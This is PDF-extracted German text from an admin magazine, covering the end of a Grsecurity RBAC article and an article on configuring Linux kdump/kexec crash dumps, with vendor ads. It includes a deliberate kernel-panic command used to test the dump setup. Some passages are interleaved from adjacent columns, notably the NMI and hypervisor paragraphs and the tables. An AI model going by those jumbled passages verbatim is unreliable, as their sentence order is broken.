Einrichtung von Grsecurity immer wieder<br />
für Verwirrung.<br />
Nachdem Sie im Lernmodus alle gewünschten<br />
Aktionen ausgeführt haben,<br />
beenden Sie mit »gradm ‐E« das<br />
RBAC-System. Die Aufzeichnungen muss<br />
»gradm« jetzt noch in Regeln pressen und<br />
mit diesen eine neue Datei »/etc/grsec/<br />
policy« generieren (Abbildung 6):<br />
gradm ‐F ‐L /etc/grsec/gelerntes.log ‐OU<br />
/etc/grsec/policy<br />
Vorher sollten Sie sicherheitshalber eine<br />
Kopie der alten »/etc/grsec/policy« erstellen.<br />
Schmeißt man jetzt wieder das RBAC-<br />
System mit »gradm ‐E« an, sind alle<br />
aufgezeichneten Aktionen erlaubt. Im<br />
Beispiel darf der Benutzer »root« wieder<br />
den SSH-Daemon starten, ohne gleich die<br />
Rolle »admin« annehmen zu müssen.<br />
Der Lernmodus ist recht praktisch, in<br />
der Praxis kommt man jedoch normalerweise<br />
nicht um die nachträgliche Bearbeitung<br />
der Konfigurationsdatei »/etc/<br />
grsec/policy« herum. Eine Erläuterung<br />
des Aufbaus würde den Rahmen dieses<br />
Artikels sprengen. Einen Crash-Kurs findet<br />
man am Anfang der mitgelieferten<br />
»policy«-Datei, eine umfangreiche Referenz<br />
im Grsecurity-Wiki [7]. Als kleine<br />
Abbildung 6: Die notwendigen Regeln erzeugt »gradm« aus einem Protokoll selbst.<br />
Hilfe kann man auch den Lernmodus anwerfen,<br />
die entsprechende Aktion durchführen,<br />
dann die Regeln in eine separate<br />
Datei schreiben<br />
gradm ‐F ‐L /etc/grsec/gelerntes.log ‐O U<br />
/etc/grsec/neue<br />
und dann aus ihr die Regeln manuell in<br />
»policy« übertragen. Damit muss man<br />
sich zumindest schon einmal nicht die<br />
passenden Regeln selbst ausdenken.<br />
Fazit<br />
Grsecurity geht Hand in Hand mit dem<br />
PaX-Projekt [8], das einzelne Teile im<br />
Hauptspeicher mit einem Schreib- oder<br />
Ausführungsschutz versieht. Ein Prozess<br />
kann dann einen Datenbereich nicht mit<br />
Programmcode überschreiben. Auf diese<br />
Weise verhindert PaX die gefürchteten<br />
Buffer-Overflow-Attacken.<br />
Grsecurity ist komplex und teilweise<br />
umständlich zu administrieren. In der<br />
Vergangenheit wurden »grsecurity«,<br />
»gradm« und die Konfigurationsdateien<br />
zudem mehrfach leicht verändert. So<br />
konnte man früher beispielsweise den<br />
Prozessen zufällige Identifikationsnummer<br />
(PIDs) verpassen und TCP-Ports umnummerieren.<br />
Die Policy steckte zudem<br />
noch in der Datei »/etc/grsec/acl«. Diese<br />
Änderungen haben wiederum zur Folge,<br />
dass viele der Anleitungen und Artikel<br />
zu Grsecurity veraltet sind und nicht<br />
mehr funktionieren. Man sollte sich daher<br />
möglichst an die Dokumentation auf<br />
der Homepage halten [1]. Die hat jedoch<br />
mehr den Charme einer reinen Referenz<br />
und ist ermüdend zu lesen.<br />
Wer bei seinen ersten Schritten nicht aufpasst,<br />
sperrt sich trotz des Lernmodus<br />
schnell aus. Man sollte daher die ersten<br />
Erfahrungen in einer virtuellen Maschine<br />
sammeln, bevor man einen gehärteten<br />
Grsecurity-Kernel auf einen produktiv<br />
genutzten Root-<strong>Server</strong> loslässt. (ofr) n<br />
Infos<br />
[1] Grsecurity: [http:// grsecurity. net/]<br />
[2] Tim Schürmann, Japanischer Sheriff, Mandatory<br />
Access Control mit Tomoyo Linux,<br />
<strong>ADMIN</strong> 03/2012,<br />
[http:// www. admin‐magazin. de/ Das‐Heft/<br />
2012/ 03/ Mandatory‐Access‐Control‐mit‐To<br />
moyo‐Linux]<br />
[3] Repository mit Kerneln für Debian und<br />
Ubuntu: [http:// kernelsec. cr0. org/]<br />
[4] Quellcode des Linux-Kernels: [http://<br />
kernel. org]<br />
[5] Echtheit des Linux-Kernels prüfen: [http://<br />
www. kernel. org/ signature. html]<br />
[6] Beschreibung aller Grsecurity-Funktionen:<br />
[http:// en. wikibooks. org/ wiki/ Grsecurity/<br />
Appendix/ Grsecurity_and_PaX_Configuration_Options]<br />
[7] Dokumenation des RBAC-Systems: [http://<br />
en. wikibooks. org/ wiki/ Grsecurity/ The_<br />
RBAC_System]<br />
[8] Dokumentation des PaX-Projektes: [http://<br />
pax. grsecurity. net/ docs/]<br />
Der Autor<br />
Tim Schürmann ist selbstständiger Diplom-Informatiker<br />
und derzeit hauptsächlich als freier<br />
Autor unterwegs. Zu seinen Büchern gesellen<br />
sich zahlreiche Artikel, die in Zeitschriften und<br />
auf Internetseiten in mehreren Ländern veröffentlicht<br />
wurden.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
61
Know-How<br />
Kernel-Crashdumps<br />
© Stephen Sweet, Fotolia<br />
Kernel-Crashdumps aufsetzen und auswerten<br />
Flugschreiber<br />
Crasht der Linux-<strong>Server</strong>, steht neben der Wiederherstellung auch die Problemanalyse an: Was ist genau passiert,<br />
wo liegt der Fehler, welche vorbeugenden Maßnahmen sind nötig? Ein Kernel-Crashdump vom Zeitpunkt des<br />
Absturzes kann hierbei helfen. Dr. Udo Seidel<br />
Ein Dump des Betriebssystem-Kernels<br />
als Mittel zur Problem-Analyse ist in der<br />
Unix-Welt an sich ein alter Hut. Unter<br />
Linux lag dieses Thema aber lange Zeit<br />
brach. Die ersten Versuche erfolgten im<br />
Jahr 1999 mit dem Projekt LKCD (Linux<br />
Kernel Crash Dump) [1]. Dieser ursprünglich<br />
von SGI iniitierte Ansatz war<br />
insoweit erfolgreich, dass er sogar Einzug<br />
in die Enterprise-Distribution von Suse<br />
fand [2]. Die Probleme beim Schreiben<br />
des Dumps auf ein MD-RAID oder die<br />
Übertragung größerer Kernel-Images waren<br />
letztlich aber nicht zu beheben.<br />
Weitere Versuche mit Netdump (Red Hat)<br />
oder Diskdump [3] in den Jahren 2002<br />
beziehungsweise 2004 hatten auch nur<br />
mäßigen Erfolg. Mittlerweile gibt es mit<br />
Kdump und Kexec ([4] bis [7]) einen<br />
Ansatz, der in der Praxis zuverlässig einsetzbar<br />
ist. Eine Kern-Frage und gleichzeitig<br />
auch die größte Herausforderung beim<br />
Schreiben des Kernel-Dumps ist: Wer soll<br />
es machen? Die naheliegende Antwort<br />
lautet sicherlich: der Kernel selbst. Dieser<br />
Ansatz, den auch das LKCD-Projekt verfolgte,<br />
birgt aber einige Gefahren.<br />
Wie weit kann man dem Kernel, der ja<br />
gerade abgestürzt ist, vertrauen? Sind<br />
die Kernel-Strukturen und Daten intakt?<br />
Sind die Treiber noch richtig initialisiert,<br />
sodass die Festplatte oder der NFS-Share<br />
ansprechbar ist? Genau auf diese Probleme<br />
ist LKCD auch gestoßen.<br />
Besser wäre hier eine dem Kernel externe<br />
Instanz, die das Speichern des Kernel-<br />
Dumps übernimmt. Mit zunehmender<br />
Verbreitung der Virtualisierung ist der<br />
Hypervisor dafür ein naheliegender Kandidat.<br />
Tatsächlich ist es möglich, mit VMware,<br />
Xen oder KVM einen Dump des<br />
Linux-Kernels zu speichern, doch dazu<br />
später mehr.<br />
Läuft Linux direkt auf dem Blech, nützt<br />
der Hypervisor-Ansatz nichts. Hier kommt<br />
Kdump ins Spiel, genauer gesagt Kexec,<br />
eine Art Kernel-zu-Kernel-Bootloader. Der<br />
laufende Kernel kann über »kexec« einen<br />
neuen Kernel direkt laden und ausführen.<br />
Das BIOS bleibt aus dem Spiel, und es<br />
ist dem neuen Kernel überlassen, ob er<br />
den Speicherinhalt unberührt lässt oder<br />
bestimmte Einträge löscht.<br />
Dieser neue Kernel, auch Crash- oder<br />
Dump-Kernel genannt, startet einen<br />
Teil des restlichen Linux-Systems und<br />
speichert den Dump. Damit Kexec<br />
64 Ausgabe 04-2012 Admin www.admin-magazin.de
Kernel-Crashdumps<br />
Know-How<br />
funktionieren kann, benötigt der Admin<br />
drei Dinge: einen Kernel neuer als 2.6.13,<br />
einen Kernel, der für Kexec konfiguriert<br />
ist und die entsprechenden Userland-<br />
Werkzeuge (Abbildung 1).<br />
Kernel lädt Kernel<br />
Das Booten eines neuen Kernels aus dem<br />
Kontext eines laufenden Kernels klingt<br />
einfacher als es ist. Vor Version 2.6.26<br />
konnte der Linux-Kern nur von einer<br />
einzigen vorgegebenen Speicheradresse<br />
starten, und diese war natürlich schon<br />
vom laufenden Kernel belegt. Zweitens<br />
benötigt der Speicherbereich des neuen<br />
Kernels einen Schutz vor dem Überschreiben<br />
der Daten durch die ständig<br />
erfolgenden direkten Zugriffe auf den<br />
Hauptspeicher (DMA). Schließlich muss<br />
der neue Kernel auf bestimmte Informationen<br />
aus der Zeit des Absturzes zugreifen,<br />
muss also wissen, wo der alte<br />
Betriebssystem-Kern im Speicher liegt.<br />
Glücklicherweise muss sich der Administrator<br />
aber nicht mit dieser scheinbar<br />
aussichtslosen Mission beschäftigen.<br />
Dies erledigen das Kommando »kexec«<br />
und der Systemaufruf »kexec_load«. Ersteres<br />
lädt den neuen Kernel in einen reservierten<br />
Speicher-Bereich und ist im<br />
Zusammenspiel mit dem Systemcall für<br />
die Ausführung zuständig.<br />
Die konkrete Konfiguration des Kexec/<br />
Kdump-Gespanns ist im Detail für jede<br />
Abbildung 1: Voraussetzungen für Kdump/Kexec sind sowohl im Kernel- als auch im User-Land nötig.<br />
Linux-Distribution etwas unterschiedlich.<br />
Daher erläutert dieser Artikel das<br />
Vorgehen auf einem etwas allgemeineren<br />
Level anhand von Red Hats und<br />
Suses Enterprise-Distributionen (RHEL<br />
6.2 und SLES 11 SP2). Der Admin hat<br />
dabei die Wahl zwischen einer komplett<br />
manuellen Konfiguration mit »rpm« und<br />
»vi« beziehungsweise »emacs« oder der<br />
Listing 1: Vorbereitungen für den Kernel-Dump<br />
01 [root@rhel ~]# grep ‐i crash /proc/iomem<br />
02 03000000‐0affffff : Crash kernel<br />
03 [root@rhel ~]# grep crash /proc/cmdline<br />
04 ro root=/dev/mapper/VolGroup00‐LogVol00<br />
rd_NO_LUKS KEYBOARDTYPE=pc<br />
KEYTABLE=de‐latin1‐nodeadkeys rd_NO_MD quiet<br />
SYSFONT=latarcyrheb‐sun16 rhgb rd_LVM_<br />
LV=VolGroup00/LogVol01 rd_LVM_LV=VolGroup00/<br />
LogVol00 LANG=de_DE.UTF‐8 rd_NO_DM<br />
crashkernel=128M<br />
05 [root@rhel ~]# /etc/init.d/kdump status<br />
06 Kdump is operational<br />
07 [root@rhel ~]# which kexec<br />
08 /sbin/kexec<br />
09 [root@rhel ~]# which kdump<br />
10 /sbin/kdump<br />
Verwendung des Systemwerkzeuge des<br />
Herstellers. Im Falle von SLES ist es das<br />
»yast2‐kdump«-Modul, bei RHEL kommt<br />
»system‐config‐kdump« zum Einsatz.<br />
Zunächst muss der Admin die Werkzeuge<br />
zum Booten des Crash-Kernels und zum<br />
Schreiben des Dumps installieren. Das<br />
entsprechende Paket heißt üblicherweise<br />
»kexec‐tools« oder ähnlich. Eventuell ist<br />
11 [root@rhel ~]#<br />
12 <br />
13 sles:~ # grep ‐i crash /proc/iomem<br />
14 27000000‐2effffff : Crash kernel<br />
15 sles:~ # grep crash /proc/cmdline<br />
16 root=/dev/disk/by‐uuid/10a83ffe‐5a9f‐48a2‐b8c<br />
b‐551c2cc6b42d resume=/dev/sda3 splash=silent<br />
text showopts crashkernel=128<br />
17 sles:~ # /etc/init.d/boot.kdump status<br />
18 kdump kernel loaded<br />
19 running<br />
20 sles:~ # which kexec<br />
21 /sbin/kexec<br />
22 sles:~ # which kdump<br />
23 /sbin/kdump<br />
24 sles:~ #<br />
Anzeige-<strong>ADMIN</strong>-04:Anzeige-<strong>ADMIN</strong>-04 25.06.12 14:19 Seite 1<br />
Die Securepoint IT-Security-Produkt-Welt:<br />
Komplette IT-Security zum Schutz Ihrer Netzwerke, Systeme und Daten!<br />
Securepoint Operation Center (SOC)<br />
Das IT-Security-Leitsystem ist die zentrale Management-Lösung für alle<br />
VPN-/UTM-Gateways, die Network Access Controller (NAC) und das<br />
Unified Mail Archive (UMA) sowie für Produkte von Dritt-Anbietern.<br />
Securepoint VPN-Clients<br />
Der professionelle VPN-Client für OpenVPN ist zu jedem Securepoint<br />
UTM-/VPN-Gateway in beliebiger Anzahl kostenlos verfügbar.<br />
Securepoint ID Control-Token<br />
Software- und Hardware-Token zum sicheren Zugang durch<br />
Multi-Faktor-Authentisierung mttels Einmal-Passwort/OTP.<br />
Securepoint Document Signer<br />
Softwarelösung zum Signieren und Prüfen von Signaturen sowie dem<br />
Ver- und Entschlüsseln von beliebigen Dateien und Dokumenten.<br />
Securepoint UTM-/VPN- und KV-SafeNet-Gateways<br />
zum kompletten Netzwerkschutz (Firewall, VPN-<strong>Server</strong>, AntiVirus,<br />
Spam/Web-Filter, IDS, etc.) und zur professionellen Standort-Vernetzung.<br />
Auch zertifiziert für die deutschen Kassenärztlichen Vereinigungen.<br />
Securepoint Unified Mail Archive (UMA)<br />
zur rechtskonforme E-Mail-Archivierung und Entlastung bestehender E-Mail-<br />
<strong>Server</strong>, natürlich GDPdU-konform und inkl. beweiswerterhaltender Langzeitspeicherung<br />
nach neuester Richtline TR-03125 des BSI (gerichtsfest!).<br />
Geliefert mit täglich Qualifizierten Zeitstempeln.<br />
Securepoint Network Access Controller (NAC)<br />
WLAN-Management-Systeme zum einfachen Management von WLAN-Umgebungen/Access-Points<br />
und für die sichere Zugangskontrolle ins WLAN.<br />
Securepoint GmbH, Salzstraße 1, 21335 Lüneburg<br />
Tel.: 0 41 31 / 24 01-0, Fax: 0 41 31 / 24 01-50<br />
Email: info@securepoint.de Internet: www.securepoint.de
Know-How<br />
Kernel-Crashdumps<br />
Abbildung 2: Der Crash-Kernel in Aktion.<br />
das Aufspielen des Crash-Kernels nötig.<br />
Bei älteren Distributionen gibt es dafür<br />
ein separates Paket. Hier lädt »kexec«<br />
eine neue Binär-Datei.<br />
Kernel zum Crashen<br />
Heute gehen die Distributoren einen anderen<br />
Weg: Der normal installierte Kern<br />
ist mit allen Funktionen ausgestattet und<br />
kann auch als Crash-Kernel dienen. Dies<br />
ist der Fall für die aktuellen Varianten von<br />
RHEL und SLES – das Aufspielen eines<br />
weiteren Kernel-Paketes entfällt.<br />
Der nächste Schritt ist die Konfiguration<br />
von »kexec« und »kdump«. Ersteres ist<br />
für das Laden und Ausführen des Crash-<br />
Kernels zuständig. Dazu muss das Tool<br />
wissen, welcher Kernel zu laden ist, wo<br />
er sich befindet und ob eventuell zusätzlich<br />
Kernel-Optionen nötig sind. Die Konfiguration<br />
von »kdump« legt die Einstellungen<br />
zum Schreiben des Kernel-Dump<br />
fest. Dazu gehören der Ablageort, welche<br />
Informationen enthalten sind, optionale<br />
Komprimierung oder ein Aufsplitten des<br />
Dumps. Für die ersten Experimente empfiehlt<br />
es sich, mit der Standard-Einstellung<br />
zu beginnen.<br />
Wesentlich für das Funktionieren der<br />
Kexec/Kdump-Methode ist, dass der<br />
Listing 2: Panik-Routine beim NMI-Ereignis<br />
01 # cat /proc/sys/kernel/unknown_nmi_panic<br />
02 1<br />
03 # sysctl kernel.unknown_nmi_panic<br />
04 kernel.unknown_nmi_panic = 1<br />
05 # grep nmi /etc/sysctl.conf<br />
06 kernel.unknown_nmi_panic = 1<br />
07 #<br />
Crash-Kernel zum Zeitpunkt des Problems<br />
bereits geladen ist. Dies übernimmt<br />
das Start-Skript von »kdump«, allerdings<br />
nur, wenn auch ein entsprechend geschützter<br />
Speicherbereich vorhanden ist.<br />
Damit der originale Kernel dies weiß,<br />
muss der Admin den Bootloader mit Option<br />
»crashkernel=XM[@YM]« versehen,<br />
wobei X die Größe des Reservierungsbereiches<br />
in MByte und Y die Start-Adresse<br />
angibt. Lässt man den zweiten Parameter<br />
weg oder gibt »0M« an, wählt das System<br />
automatisch einen geeigneten Platz aus.<br />
Ein anschließender Neustart aktiviert<br />
diese Änderung.<br />
Test-Crash<br />
Variante<br />
Wer unsicher ist, kann sich durch einen<br />
Blick in »/proc/iomem« davon überzeugen,<br />
dass der geschützte Speicherbereich<br />
markiert ist (siehe Listing 1). Ist<br />
alles korrekt verlaufen, kann das Start-<br />
Skript von »kdump« den Crash-Kernel<br />
in den Speicher laden. Typischerweise<br />
bindet der Admin dies in den regulären<br />
Boot-Prozess ein, für die ersten Gehversuche<br />
reicht aber auch eine manuelle<br />
Aktivierung.<br />
An dieser Stelle gilt es, das konfigurierte<br />
Setup zu überprüfen, sprich künstlich<br />
einen Kernel-Crash auszulösen, der dann<br />
automatisch das Schreiben des Dumps<br />
starten sollte. Dafür schaltet man über<br />
»echo 1 > /proc/sys/kernel/sysrq« zunächst<br />
die sogenannten Magic Sysrequest<br />
Keys ein. Im Normallfall ist das schon<br />
erledigt, wenn der Admin die Distributionswerkzeuge<br />
zum Einrichten des Kernel-Dumps<br />
verwendet hat.<br />
Ein beherztes »echo c > /proc/sysrq‐trigger«<br />
löst jetzt einen Kernel-Panic aus.<br />
Wenn alles funktioniert, startet das System<br />
dann den Crash-Kernel, der wiederum<br />
»kdump« beziehungsweise »makedumpfile«<br />
auslöst (Abbildung 2).<br />
Jeden Dump legt das System in einem mit<br />
dem Erzeugungsdatum versehenen Verzeichnis<br />
ab. Stürzt das System mehrfach<br />
ab, werden bereits gespeicherte Informationen<br />
so nicht überschrieben. Noch eine<br />
Nebenbemerkung für die Suse-Anhänger:<br />
Sie können den Kernel-Panic auch über<br />
das Laden des Modules »crasher.ko« auslösen.<br />
Dies stammt übrigens aus der Feder<br />
von Btrfs-Entwickler Chris Mason, als<br />
er noch bei Suse arbeitete [8].<br />
De Luxe<br />
Tabelle 1: Ablagemöglichkeiten für den Kernel-Dump<br />
raw /dev/sdc1<br />
ext3 /dev/sdc1<br />
ext4 LABEL=/dump<br />
net mynfs.server.com:/<br />
export/dump<br />
net user@my.ssh.<br />
server.com<br />
Beschreibung<br />
Waren die ersten Dump-Versuche erfolgreich,<br />
kann es an das Tuning gehen. Da<br />
wäre zunächst die Speicher-Reservierung<br />
für den Crash-Kernel. Die allgemeine Anweisung<br />
lautet »crashkernel=Bereich1:Gr<br />
össe1[,Bereich2:Grösse2,...][@Adresse]«.<br />
Im konkreten Fall von »crashkernel=5<br />
12M‐2G:64M,2G‐:128M« heißt das: Für<br />
einen RAM-Ausbau von 512 MByte bis 2<br />
Gyte reserviert das System 64 MByte und<br />
128 MByte bei mehr als 2 GByte Haupt-<br />
Schreibt den Dump mit »dd« auf die Partition »/dev/sdc1«.<br />
Hängt »/dev/sdc1« als Ext3-Dateisystem ein und speichert dort den<br />
Dump.<br />
Hängt das Dateisystem mit diesem Label ein und legt den Dump dort ab.<br />
Integriert das entsprechende NFS-Share des <strong>Server</strong>s und schreibt den<br />
Dump dorthin.<br />
Speichert den Dump über SCP als entsprechenden Nutzer auf dem<br />
<strong>Server</strong>.<br />
66 Ausgabe 04-2012 Admin www.admin-magazin.de
speicher. Das vereinfacht die Konfiguration<br />
des Bootloaders für eine heterogene<br />
Hardware-Umgebung. Unabhängig vom<br />
Hauptspeicher bleibt der »crashkernel«-<br />
Eintrag immer derselbe. Bei Suse macht<br />
Yast das automatisch. Die Angaben von<br />
Größe und Bereich können laut Kernel-<br />
Dokumentation auch in KByte erfolgen,<br />
allerdings ist dies für die Praxis nicht<br />
relevant.<br />
In der Standard-Konfiguration speichert<br />
das System den Kernel-Dump der lokalen<br />
Platte. Bei Systemen mit üppigem Hauptspeicher<br />
kann es da schnell zu Problemen<br />
kommen. Glücklicherweise erlaubt<br />
das Kexec/Kdump-Gespann auch das<br />
Speichern über das Netzwerk. Der Admin<br />
hat dabei die Wahl zwischen NFS und<br />
SSH/SCP. Tabelle 1 listet die verfügbaren<br />
Optionen auf.<br />
Das Schreiben über SSH/SCP setzt eine<br />
nicht-interaktive Authentisierung beispielsweise<br />
über Schlüssel voraus. Es<br />
empfiehlt sich daher, einen separaten<br />
und recht eingeschränkten Ziel-Benutzer<br />
zu konfigurieren.<br />
Notschalter<br />
Der oben aufgezeigte Weg, einen Kernel-<br />
Dump zu provozieren, funktioniert nicht<br />
mehr, wenn das System nicht mehr reagiert<br />
und zum Beispiel ein Login unmöglich<br />
ist. Eine Möglichkeit ist dann das<br />
Auslösen über eine bestimmte Tasten-<br />
Kombination, der ein Sysreq-Schlüssel<br />
zugeordnet ist. Eigentlich muss der Admin<br />
nur die Tasten [Alt], [SysRQ] und [C]<br />
gleichzeitig drücken, um das Schreiben<br />
des Kernel-Dumps auszulösen.<br />
Aber auch hier steckt die Herausforderung<br />
im Detail. Viele Tastaturen besitzen<br />
keine separate [SysRQ]-Taste, dann<br />
übernimmt [Druck] diese Funktion. Nun<br />
Taste<br />
b<br />
c<br />
l<br />
m<br />
s<br />
t<br />
w<br />
Tabelle 2: „Magische“ Sysrequest-Tasten<br />
Beschreibung<br />
kann es aber sein, dass die grafische<br />
Benutzeroberfläche genau diese Kombination<br />
abfängt und einen Screenshot<br />
vom Bildschirm macht. Dies lässt sich<br />
dann durch ein zusätzliches Betätigen<br />
der [Strg]-Taste umgehen. Manchmal erreicht<br />
man [SysRQ] auch über die Zweitbelegung<br />
mit [Fn]. So lässt sich das fast<br />
beliebig fortsetzen. Also auch hier ist<br />
sauberes Testen angesagt, damit man im<br />
Ernstfall auch die richtigen Tasten findet.<br />
Übrigens: Die Sysrequest Keys können<br />
noch viel mehr als nur den Kernel-Dump<br />
triggern (siehe Tabelle 2).<br />
Nicht selten hat der Admin aber keinen<br />
physischen Zugriff auf die Tastatur des<br />
<strong>Server</strong>s. Ein Durchreichen der gedrückten<br />
Tasten der lokalen Tastatur an den<br />
<strong>Server</strong> ist nicht unbedingt gegeben. Normalerweise<br />
kann der Admin dann aber<br />
bestimmte Tasten-Kombinationen auf<br />
andere abbilden.<br />
Nicht-maskierbare Interrupts<br />
Sollte dies auch fehlschlagen, bleibt noch<br />
die Möglichkeit, einen nicht-maskierbaren<br />
Interrupt (NMI/Non-Maskable Interrupt)<br />
als Vehikel zu benutzen. Zunächst<br />
konfiguriert der Admin den Linux-Kernel<br />
so, dass dieser beim Empfang eines NMI<br />
die Panik-Routine abarbeitet und damit<br />
den Kernel-Dump auslöst. Dies geht<br />
bequem über die Sysctl-Schnittstelle.<br />
Der passende Parameter lautet »kernel.<br />
unknown_nmi_panic« und muss auf »1«<br />
stehen (siehe Listing 2). Techniken zur<br />
Verwaltung entfernter Rechner, beispielsweise<br />
iLO (integrated LightsOut) von HP<br />
oder DRAC (Dell Remote Access Controller)<br />
von Dell erlauben das manuelle<br />
Auslösen eines NMI-Ereignisses, das<br />
dann einen Kernel-Dump anstößt. Dabei<br />
ist zu beachten, dass andere Ereignisse,<br />
Sofortiger Reboot des Systems (ohne Umount oder Sync).<br />
System-Absturz und Starten des Kernel-Dumps (falls konfiguriert).<br />
Zeigt Backtrace für alle aktiven CPUs in der Konsole.<br />
Schreibt Informationen über Speicher auf die Konsole.<br />
Sync’ed alle eingehängten Dateisysteme.<br />
Listet aktive Prozesse auf der Konsole.<br />
Listet Prozesse im Zustand ’D’ auf der Konsole.<br />
ACH SO!<br />
SCHULUNGEN FÜR <strong>ADMIN</strong>S,<br />
DIE DURCHBLICKEN WOLLEN<br />
Fachlich und didaktisch kompetente<br />
Dozenten, spannende Schulungsthemen,<br />
eine lockere Atmosphäre im Kurs und<br />
angenehme Unterrichtsräume – all das<br />
erwartet Sie bei uns in Berlin an der<br />
Heinlein Akademie.<br />
Die nächsten Kurse:<br />
08.10.<br />
Netzwerkrouting für Profis<br />
15.10.<br />
Scalix - Der Exchange-Ersatz unter Linux<br />
15.10.<br />
Apache2 Webserver<br />
15.10.<br />
Sichere Mailserver mit Postfix<br />
17.10.<br />
Puppet Master Curriculum<br />
22.10.<br />
DNS und DNSsec<br />
Jetzt anmelden unter<br />
www.heinlein-akademie.de<br />
www.admin-magazin.de<br />
67<br />
Ausgabe 04-2012 Linux höchstpersönlich.
Know-How<br />
Kernel-Crashdumps<br />
Die nativen<br />
Linux-Hypervisor-<br />
Syste me eröffnen<br />
dem Admin<br />
sogar noch mehr<br />
Möglichkeiten. Es<br />
Abbildung 3: Kernel-Dump eines KVM-Gastes im laufenden Betrieb.<br />
ist möglich, einen<br />
Dump im laufenden<br />
Betrieb zu erzeugen. Im Normalfall<br />
beispielsweise fehlerhafte Hardware oder<br />
Firmware, ebenfalls einen NMI auslösen halten Xen und KVM den Gast für die<br />
können. Dies zieht im Normalbetrieb Dauer des Wegschreibens an, danach<br />
nicht unbedingt einen System-Crash läuft er einfach weiter. Die Kommandos<br />
nach sich und taucht eventuell nur als lauten »xm dump‐core Domain Ausgabedatei«<br />
beziehungsweise »virsh dump<br />
Meldung im »syslog« auf („Uhhuh. NMI<br />
received. Dazed and confused, but trying Domain Ausgabedatei« (siehe Abbildung<br />
to continue“).<br />
3). Fügt der Admin die Option »‐‐live«<br />
Die eben beschriebene Konfiguration hinzu, minimieren Xen und KVM den<br />
ändert dies, und der <strong>Server</strong> bootet in Zeitraum des Pausierens. Der Boot in<br />
jedem Fall.<br />
den Crash-Kernel fällt komplett weg und<br />
ebenso die Kexec/Kdump-Konfiguration<br />
des Linux-Gastes.<br />
Virtuell geht’s einfacher<br />
Der Admin virtueller Linux-Gäste kann<br />
sich getrost zurücklehnen. VMware, Xen<br />
und KVM erlauben das Schreiben eines<br />
Kernel-Dumps, ohne dass der Gast extra<br />
darauf vorbereitet sein muss. Der Kernel-<br />
Dump enthält ja die Informationen des<br />
gerade aktiven Arbeitsspeichers, also im<br />
einfachsten Fall eine 1:1-Kopie des gesamten<br />
RAM.<br />
Die genannten Hypervisor-Systeme<br />
haben Zugriff auf den Speicher des<br />
Gastes und erlauben es, ihn in eine Datei<br />
zu schreiben. Im Fall von Xen und<br />
KVM ist das Speicherabbild kompatibel<br />
zu den Linux-Tools zum Auswerten des<br />
Crash-Dumps. Der VMware-Speicher-<br />
Abzug muss dazu noch weiterverarbeitet<br />
werden – dazu gleich mehr.<br />
Listing 3: VMware-Images zu Kernel-Dumps<br />
01 # vmss2core ‐N6 rhel.vmss<br />
02 The vmss2core version 591240 Copyright (C) 1998‐2012<br />
VMware, Inc. All rights reserved.<br />
03 Started core writing.<br />
04 Writing note section header.<br />
05 Writing 1 memory section headers.<br />
06 Writing notes.<br />
07 ... 10 MBs written.<br />
08 ... 20 MBs written.<br />
09 ...<br />
10 ... 1020 MBs written.<br />
11 Finished writing core.<br />
12 #<br />
13 # ls vmss.core<br />
14 vmss.core<br />
15 #<br />
VMware-Images in<br />
Crashdumps konvertieren<br />
Auch VMware beherrscht das Schreiben<br />
des Speichers seiner Gäste. Die erste<br />
Methode ist das Suspendieren und erzeugt<br />
eine Datei im »vmss«-Format. Der<br />
VMware-Admin kann aber auch beim<br />
Anlegen eines Checkpoints ein Abbild<br />
des Speichers schreiben, das dann als<br />
»vmsn«-Datei vorliegt. Allerdings erfordern<br />
beide Varianten eine Nachbehandlung,<br />
bevor die Standard-Werkzeuge<br />
fürs Kernel-Debugging damit umgehen<br />
können.<br />
VMware liefert dafür das Programm<br />
»vmss2core«, allerdings nur mit dem<br />
Workstation-Produkt, dafür aber für<br />
Windows wie auch für Linux [9]. ESX-<br />
Admins hin<strong>gegen</strong> schauen in die Röhre.<br />
Prinzipiell läuft »vmss2core« auch außerhalb<br />
einer vollständigen VMware-Workstation-Installation.<br />
Experimentierfreudige<br />
Anwender können das Tool einfach<br />
auf den Rechner ihrer Wahl kopieren und<br />
dort das Image konvertieren. Das Kommando<br />
»vmss2core ‐N6 .vmss«<br />
generiert dann den Kernel-Dump (siehe<br />
Listing 3). Bei den Labor-Tests schlug<br />
die Konvertierung sowohl für RHEL5 als<br />
auch für RHEL6 fehl. Mit SLES funktionierte<br />
alles wie erwartet.<br />
Das Schreiben des Kernel-Dumps über<br />
den Hypervisor hat den Vorteil, dass die<br />
Kexec/Kdump-Konfiguration des Gastes<br />
komplett wegfällt. Zudem liegt die Datei<br />
außerhalb des Gastes und benötigt daher<br />
dort keinen Platz. Es sieht also alles viel<br />
einfacher aus. Ein bestimmtes Szenario<br />
kann das Hypervisor-Only-Setup nicht<br />
abdecken: den Kernel-Dump nach einem<br />
Crash mit automatischem Reboot. Ist dies<br />
nötig, führt kein Weg am Aufsetzen von<br />
Kexec/Kdump vorbei. Die Vorgehensweise<br />
ist dabei genauso wie weiter oben<br />
beschrieben.<br />
Fazit<br />
Das Generieren eines Kernel-Dumps ist<br />
wahrlich kein Hexenwerk und mit wenigen<br />
Handgriffen zu erledigen. Sind die<br />
Linux-Systeme virtualisiert, ist es sogar<br />
noch einfacher. Es gibt also keine Ausrede<br />
mehr, warum es keinen Kernel-Dump zur<br />
Problem-Analyse gibt. Versierte Anwender<br />
können mit dem Tool »crash« sogar<br />
eine Erst-Analyse sogar selbst durchführen.<br />
(ofr)<br />
n<br />
Infos<br />
[1] LKCD: [http:// lkcd. sourceforge. net/]<br />
[2] Set Up Linux Kernel Crash Dump on SLES:<br />
[http:// www. novell. com/ coolsolutions/<br />
feature/ 14813. html]<br />
[3] Diskdump: a new crash dump system:<br />
[https:// lwn. net/ Articles/ 87684/]<br />
[4] Linux Kernel Crash Book: [http:// www.<br />
dedoimedo. com/ computers/ crash‐book.<br />
html]<br />
[5] Kdump:<br />
[http:// lse. sourceforge. net/ kdump/]<br />
[6] Crash-Tools: [http:// people. redhat. com/<br />
anderson/]<br />
[7] Bug 716994 – Provide native systemd unit<br />
file: [http:// bugzilla. redhat. com/ show_bug.<br />
cgi? id=716994]<br />
[8] Bug 396132 – crasher module – why suse<br />
specific? [http:// bugzilla. novell. com/<br />
show_bug. cgi? id=396132]<br />
[9] VMware Snapshot2core:<br />
[http:// www. vmware. com/ pdf/<br />
snapshot2core_technote. pdf]<br />
Der Autor<br />
Dr. Udo Seidel ist eigentlich Mathe-Physik-Lehrer<br />
